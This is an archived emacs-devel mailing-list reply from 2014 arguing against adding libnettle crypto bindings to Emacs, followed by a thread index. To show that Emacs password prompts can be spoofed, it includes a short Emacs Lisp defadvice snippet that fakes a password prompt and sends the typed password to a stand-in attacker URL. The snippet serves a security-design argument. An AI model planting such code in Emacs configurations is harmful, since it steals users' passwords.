all messages for Emacs-related lists mirrored at yhetil.org
 help / color / mirror / code / Atom feed
From: "Stephen J. Turnbull" <stephen@xemacs.org>
To: emacs-devel@gnu.org
Subject: Re: Wherein I argue for the inclusion of libnettle in Emacs 24.5
Date: Thu, 06 Feb 2014 14:03:56 +0900	[thread overview]
Message-ID: <87wqh8n877.fsf@uwakimon.sk.tsukuba.ac.jp> (raw)
In-Reply-To: <87txcdd6d0.fsf@lifelogs.com>

Ted Zlatanov writes:

 > SJT> Not relevant in the sense that it could be done with an anonymous
 > SJT> popup that says it's from Emacs, too.
 > 
 > The minibuffer is much harder to fake than a popup.

Sez you.  Sez me:

(defadvice find-file (before)
  (if (= (random 1000) 42)
      (url-fetch (format "http://blackh.at/gotcherpasswordSUCKER?passwd=%s"
                         (read-passwd "Encrypted file.  Type your password:"))))

Note that it doesn't matter which library on load-path contains the
defadvice.  Great security model you got there.

 > Furthermore, you don't know *which* passphrase is being requested,
 > so at the very least it can be annoying.  Oh, I know, we'll add
 > --with-pinentry-title and --with-pinentry-message flags.  Christ.

Sure, and you have to do that with read-passwd, too (see above).  Your
point might be?

 > It doesn't have to be an exclusive choice, and I'm not asking anyone to
 > do the work on either side.

Yes, you are.  You are asking Emacs to maintain it, in a form that
Stefan would prefer *not* to install it, for a period likely to be
decades.  This is the root of Stefan's reluctance, I suppose.

 > >> Trusting loosely coupled components is standard industry practice.
 > 
 > SJT> Trust and coupling are not in any particular relationship.  Viz. the
 > SJT> fundamental design of Qmail and Postfix, which are two MTAs designed
 > SJT> by acknowledged security experts.
 > 
 > qmail and Postfix are system applications that run as daemons.
 > Completely different from Emacs.  Emacs is more like Firefox or Chrome
 > with their embedded Javascript engines and layout renderers, as Lars
 > pointed out.  Those applications tend to use the platform's keychain
 > facilities and do the crypto work internally.

As applications, yes.  But who cares?  Try, "do they expose the crypto
facilities to users of their platform (eg, Javascript)?"  That's the
relevant question because that's what you're proposing to do with
Emacs Lisp.

 > DU> I don't think you can provide the same level of security using
 > DU> encryption primitives within Emacs.
 > 
 > Not currently, sure.  But at this point you're the one arguing
 > hypotheticals.

Not at all.  The presence of those primitives is an attractive
nuisance, encouraging security neophytes to roll-their-own authn/authz/
crypto systems.  If you want horror stories, there are plenty archived
at the RISKS forum and on CERT.  Statistically speaking, availability
of these functions will mean somebody *will* get screwed by a self-
injected security bug.

Of course, to some extent so is EPG/GPG doing so.  The question is to
what degree is each approach providing end-to-end security.  The folks
at GPG clearly believe that the single external applications is the more
secure approach, because they deliberately made changes to encourage
that.  The arguments I've heard against that approach all boil down to
"PITA", but we already knew that.  Security *necessarily* is a PITA.

 > SJT> Stupid, no, but there's a lot of evidence that they are ignorant
 > SJT> (including many developers incorporating security features in their
 > SJT> products), and that even experienced experts are oversight- and even
 > SJT> mistake-prone in this area.  Do you claim that that evidence is no
 > SJT> longer relevant?
 > 
 > I don't think you can justify taking away the freedom to choose because
 > it might be misused.

I'm not suggesting taking away anything that users already have.  I am
supporting Stefan's reluctance to install a new attractive nuisance
because of future maintenance costs, and that *despite* being an
advocate of users' freedom to choose.  It's not because I don't value
freedom, incuding freedom to choose.

 > DU> I don't get it.  Are there any platforms where Emacs work, while GPG
 > DU> does not?
 > 
 > Please don't turn my point into a debate about why can't I "just use
 > GnuPG."  I'm asking to have a choice.

Emacs doesn't have to provide it, though.  Lots of users have wanted
the choice to load DSOs from since around 2000, and that was denied
*in principle* for over a decade.

Installing bindings for libnettle isn't a matter of principle, it's a
matter of expedience, but still Emacs is under no obligation to give
you a choice that it thinks most users would refuse to use if they
were aware of the issues.

 > If only there were experts among us and I would allow my code to be
 > reviewed!

There are experts (both Daiki and Paul E claim to be such, at least
relative to you and me).  But shouldn't they have the freedom to
choose to *not* waste time on reviewing code that is (IMHO, YM
obviously Vs, etc, etc) a colossal mistake to install in the first
place?  Plus having to review the *uses* by Elisp developers?



  parent reply	other threads:[~2014-02-06  5:03 UTC|newest]

Thread overview: 44+ messages / expand[flat|nested]  mbox.gz  Atom feed  top
2014-02-03 22:36 Wherein I argue for the inclusion of libnettle in Emacs 24.5 Lars Ingebrigtsen
2014-02-04  3:21 ` Stefan Monnier
2014-02-04 13:07   ` Ted Zlatanov
2014-02-04 14:44     ` Stephen J. Turnbull
2014-02-04 18:36       ` Ted Zlatanov
2014-02-04 22:44   ` Lars Ingebrigtsen
2014-02-05  2:28     ` Stefan Monnier
2014-02-05  2:39       ` Lars Ingebrigtsen
2014-02-05  7:00       ` Ted Zlatanov
2014-02-05  8:13         ` Stephen J. Turnbull
2014-02-05 13:41           ` Ted Zlatanov
2014-02-05 15:50             ` andres.ramirez
2014-02-05 17:00             ` chad
2014-02-05 18:55               ` Ted Zlatanov
2014-02-06  5:03             ` Stephen J. Turnbull [this message]
2014-02-06 11:49               ` Ted Zlatanov
2014-02-06 13:03                 ` Stefan Monnier
2014-02-06 14:28                   ` Ted Zlatanov
2014-02-06 15:05                 ` Stephen J. Turnbull
2014-02-06 15:54                   ` Ted Zlatanov
2014-02-07  2:06                     ` Stephen J. Turnbull
2014-02-07  6:51                       ` David Kastrup
2014-02-07  7:15                         ` Stephen J. Turnbull
2014-02-07  8:53                           ` David Kastrup
2014-02-07 10:00                             ` Stephen J. Turnbull
2014-02-07 10:49                               ` David Kastrup
2014-02-07 20:43                                 ` Stephen J. Turnbull
2014-02-07 21:42                                   ` Ted Zlatanov
2014-02-07 22:23                                     ` Stephen J. Turnbull
2014-02-07 15:30                               ` Ted Zlatanov
2014-02-07  9:07                     ` Daiki Ueno
2014-02-07 11:54                       ` Ted Zlatanov
2014-02-08  8:11                         ` Daiki Ueno
2014-02-08 16:59                           ` Ted Zlatanov
2014-02-05  8:19         ` Daiki Ueno
2014-02-04 13:10 ` Ted Zlatanov
2014-02-04 16:27   ` Paul Eggert
2014-02-04 18:32     ` Ted Zlatanov
2014-02-04 19:04       ` Paul Eggert
2014-02-04 20:11         ` Ted Zlatanov
2014-02-04 21:46           ` Paul Eggert
2014-02-04 22:44             ` Ted Zlatanov
2014-02-04 22:36           ` Lars Ingebrigtsen
2014-02-05  5:11             ` Daiki Ueno

Reply instructions:

You may reply publicly to this message via plain-text email
using any one of the following methods:

* Save the following mbox file, import it into your mail client,
  and reply-to-all from there: mbox

  Avoid top-posting and favor interleaved quoting:
  https://en.wikipedia.org/wiki/Posting_style#Interleaved_style

* Reply using the --to, --cc, and --in-reply-to
  switches of git-send-email(1):

  git send-email \
    --in-reply-to=87wqh8n877.fsf@uwakimon.sk.tsukuba.ac.jp \
    --to=stephen@xemacs.org \
    --cc=emacs-devel@gnu.org \
    /path/to/YOUR_REPLY

  https://kernel.org/pub/software/scm/git/docs/git-send-email.html

* If your mail client supports setting the In-Reply-To header
  via mailto: links, try the mailto: link
Be sure your reply has a Subject: header at the top and a blank line before the message body.
Code repositories for project(s) associated with this external index

	https://git.savannah.gnu.org/cgit/emacs.git
	https://git.savannah.gnu.org/cgit/emacs/org-mode.git

This is an external index of several public inboxes,
see mirroring instructions on how to clone and mirror
all data and code used by this external index.